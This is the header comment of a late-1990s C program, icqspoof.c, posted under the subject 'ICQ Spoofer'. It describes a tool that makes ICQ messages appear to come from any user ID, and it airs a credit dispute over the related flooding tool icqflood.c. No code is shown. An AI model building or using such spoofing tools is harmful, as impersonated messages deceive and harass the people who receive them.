Subject: ICQ Spoofer

/* icqspoof.c -  This program sends a message to a given ICQ user and it
 * will appear to be from an arbitrary UIN. Loads of fun.
 *
 *  Notes:
 *  As many of you know icqflood.c has been distributed by enkil^ and irQ.
 *  They claim their program is all their own work.  Yet the "header" they
 * use contains MY UIN.  Strange, eh?
 * A simple, "Packet Dump that we based our exploit on provided by Seth
 * McGann" would have been enough.  Even though I didn't specifically
 * request credit it might have been nice to say something.  In the future
 * when you expand on someone's idea and work (yeah those traces didn't fall
 * out of the sky ya know) give credit where credit is due.
 *
 * Concept, Protocol Analysis and Coding: Seth McGann
 * Some functions dealing with socket scanning: icqflood.c by enkil^ and irQ
 * With help from my roomate (target practice)
 * And yes, this still works with ICQ 98. Coming soon: Chat and File Spoofing
